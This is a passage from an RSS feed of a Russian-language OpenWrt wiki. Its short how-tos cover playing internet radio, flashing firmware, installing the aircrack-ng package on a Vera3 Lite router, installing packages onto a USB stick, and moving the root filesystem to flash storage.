&lt;h2 class=&quot;sectionedit6&quot; id=&quot;mpc&quot;&gt;mpc&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;root@OpenWrt:~# mpc add http://relay3.slayradio.org:8000/
adding: http://relay3.slayradio.org:8000/

root@OpenWrt:~# mpc play &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;mpc&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;mpc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;1168-1324&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;madplay&quot;&gt;madplay&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Еще есть такой плеер &lt;strong&gt;madplay&lt;/strong&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg install madplay
wget -q -O- http://stream.clubberry.fm:8000/chill | madplay -&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;madplay&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;madplay&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;1325-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 26 Apr 2019 11:25:32 +0000</pubDate>
        </item>
        <item>
            <title>как-прошить-фирмварь-openwrt-из-команднои-строки</title>
            <link>https://wiki.autosys.tk/openwrt/%D0%BA%D0%B0%D0%BA-%D0%BF%D1%80%D0%BE%D1%88%D0%B8%D1%82%D1%8C-%D1%84%D0%B8%D1%80%D0%BC%D0%B2%D0%B0%D1%80%D1%8C-openwrt-%D0%B8%D0%B7-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B8-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8</link>
            <description>&lt;pre class=&quot;code&quot;&gt;mtd write ---имя-файла-прошивки--- firmware
reboot &lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:28 +0000</pubDate>
        </item>
        <item>
            <title>установка-aircrack-ng-на-vera3-lite</title>
            <link>https://wiki.autosys.tk/openwrt/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-aircrack-ng-%D0%BD%D0%B0-vera3-lite</link>
            <description>
&lt;p&gt;
Установить aircrack-ng на Vera3 Lite меня сподвигли два факта - достаточная аппаратная платформа и возможность работать от батареек :) &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Прежде чем искать на любой роутер прошивку или пакет надо бы точно удостовериться в типе его архитектуры.&lt;br/&gt;

Если вывести &lt;strong&gt;dmesg&lt;/strong&gt; в файл, то в самом начале файла можно найти что-то типа:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;CPU revision is: 0001974c (MIPS 74Kc)
Ralink RT3883   ver:1 eco:5 running at 500.00 MHz&lt;/pre&gt;

&lt;p&gt;
Это информация об архитектуре и проце. Дальше с помощью google или руками ищем на &lt;a href=&quot;http://downloads.openwrt.org&quot; class=&quot;urlextern&quot; title=&quot;http://downloads.openwrt.org&quot; rel=&quot;ugc nofollow&quot;&gt;http://downloads.openwrt.org&lt;/a&gt; с пакетами под данную архитектуру.&lt;br/&gt;

Для Vera3 Lite, в которой проц Ralink MIPS и есть специальная ветка ramips. Пакеты под нее нашлись тут:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;http://downloads.openwrt.org/attitude_adjustment/12.09-beta/ramips/rt3883/packages/&lt;/pre&gt;

&lt;p&gt;
В гугле я просто искал: &lt;strong&gt;openwrt  RT3883 aircrack&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше прописываем репозиторий в /etc/opkg.conf :&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#src/gz snapshots http://download.mios.com/firmware/openwrt/ramips/packages
src/gz snapshots http://downloads.openwrt.org/attitude_adjustment/12.09-beta/ramips/rt3883/packages
dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay&lt;/pre&gt;

&lt;p&gt;
И дальше просто жмем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg update
opkg install aircrack-ng&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:28 +0000</pubDate>
        </item>
        <item>
            <title>установка_пакетов_на_флешку_при_нехватке_места_без_п ...</title>
            <link>https://wiki.autosys.tk/openwrt/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%BE%D0%B2_%D0%BD%D0%B0_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D1%83_%D0%BF%D1%80%D0%B8_%D0%BD%D0%B5%D1%85%D0%B2%D0%B0%D1%82%D0%BA%D0%B5_%D0%BC%D0%B5%D1%81%D1%82%D0%B0_%D0%B1%D0%B5%D0%B7_%D0%BF%D0%B5%D1%80%D0%B5%D0%BD%D0%BE%D1%81%D0%B0_%D1%80%D1%83%D1%82%D0%B0</link>
            <description>
&lt;p&gt;
Иногда на роутере мало флешки, но есть USB-порт. &lt;br/&gt;

Задача - подключить флеху и поставить пакет на нее без переноса всего рута на флеху.
&lt;/p&gt;

&lt;h2 class=&quot;sectionedit1&quot; id=&quot;usb_stick&quot;&gt;USB Stick&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Устанавливаем все что нужно для подключения флехи и настраиваем монтирование:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apk update
apk add kmod-usb3 kmod-usb-storage kmod-fs-ext4 block-mount
mkfs.ext4 -O ^has_journal /dev/sda1
mkdir /opt&lt;/pre&gt;

&lt;p&gt;
Дальше настраиваем автоматическое монтирование с помощью &lt;strong&gt;block-mount&lt;/strong&gt;. Сначала поглядим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;block detect&lt;/pre&gt;

&lt;p&gt;
Ну и потом сконфигурируем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;block detect &amp;gt; /etc/config/fstab
uci set fstab.@global[0].anon_mount=&amp;#039;0&amp;#039;
uci set fstab.@global[0].auto_mount=&amp;#039;1&amp;#039;
uci set fstab.@global[0].auto_swap=&amp;#039;1&amp;#039;
uci set fstab.@mount[1].enabled=&amp;#039;1&amp;#039;
uci set fstab.@mount[1].target=&amp;#039;/opt&amp;#039;
uci commit fstab
/etc/init.d/fstab enable
/etc/init.d/fstab boot
#/sbin/block mount&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;USB Stick&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;usb_stick&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;242-1082&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;установка_пакета&quot;&gt;Установка пакета&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Я буду экспериментировать на пакете xray-core, который довольно большой - примерно 30Mb в установленном виде. &lt;br/&gt;

Идея такова - распаковать пакет, перенести настройки пакета в рут, а основной бинарь просто оставить на флехе и в рут поместить просто ссылку на него. &lt;br/&gt;

После того, как флешка нормально монтируется после перезагрузки в &lt;strong&gt;/opt&lt;/strong&gt; - скачиваем xray-core, распаковываем его и конфигурируем, чтобы его бинарь запускался с флехи:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apk update
cd /opt/
apk fetch xray-core
apk extract --allow-untrusted ./xray-core-25.8.3-r1.apk
mv ./etc/config/xray /etc/config/
mv ./etc/init.d/xray /etc/init.d/
mkdir /etc/xray
ln -s /opt/usr/bin/xray /usr/bin/xray

uci set xray.enabled.enabled=&amp;#039;1&amp;#039;
/etc/init.d/xray enable
/etc/init.d/xray start&lt;/pre&gt;

&lt;p&gt;
Всё!
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u043f\u0430\u043a\u0435\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1083-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 20 Aug 2025 09:40:50 +0000</pubDate>
        </item>
        <item>
            <title>флеха-в-openwrt-attitude-ajustment</title>
            <link>https://wiki.autosys.tk/openwrt/%D1%84%D0%BB%D0%B5%D1%85%D0%B0-%D0%B2-openwrt-attitude-ajustment</link>
            <description>
&lt;p&gt;
Добавление в систему флешки и перенос рабочей системы состоит из трех этапов: подготовка флешки, копирование файлов системы и конфигурирование Openwrt&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Подготовка флешки включает в себя создание разделов (для данных и для свопа) и их форматирование. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Копирование файлов системы делается так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mount /dev/sda2 /mnt
mount -o bind /rom /tmp/root
cp /tmp/root/* /mnt -a
umount /mnt&lt;/pre&gt;

&lt;p&gt;
Здесь /dev/sda2 - раздел флешки на котором будут лежать системные файлы. Он должен быть отформатирован в ext3 или ext4&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Настройка openwrt включает в себя загрузку необходимых пакетов и модулей ярда (block-mount и модули ядра kmod-usb-storage kmod-fs-ext4), и конфигурирование файла &lt;strong&gt;/etc/config/fstab&lt;/strong&gt; (с учетом ваших реалий):&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;config global automount
        option from_fstab 1
        option anon_mount 1

config global autoswap
        option from_fstab 1
        option anon_swap 0

config mount
        option target   /
        option device   /dev/sda2
        option fstype   ext3
        option options  rw,sync
        option enabled  1
        option enabled_fsck 1
        option is_rootfs 1

config mount
        option target   /home
        option device   /dev/sda3
        option fstype   ext3
        option options  rw,sync
        option enabled  1
        option enabled_fsck 1

config swap
        option device   /dev/sda1
        option enabled  1&lt;/pre&gt;

&lt;p&gt;
ВНИМАНИЕ! Так как на флешку переносились только компоненты из ROM, то для системы на флехе надо будет настроить заново все параметры. То есть получится как бы две системы и два набора параметров - одна без флехи в роутере, а вторая с флехой. То есть, для монтирования третьего раздела для данных (если он есть) и свопа надо будет еще раз отредактировать /etc/config/fstab. Потому что в начале мы редактировали тот, который лежал на роутере и с его помощью монтируется ROM, скопированный на флеху, в котором файл /etc/config/fstab пустой и его надо заполнить. &lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:28 +0000</pubDate>
        </item>
    </channel>
</rss>
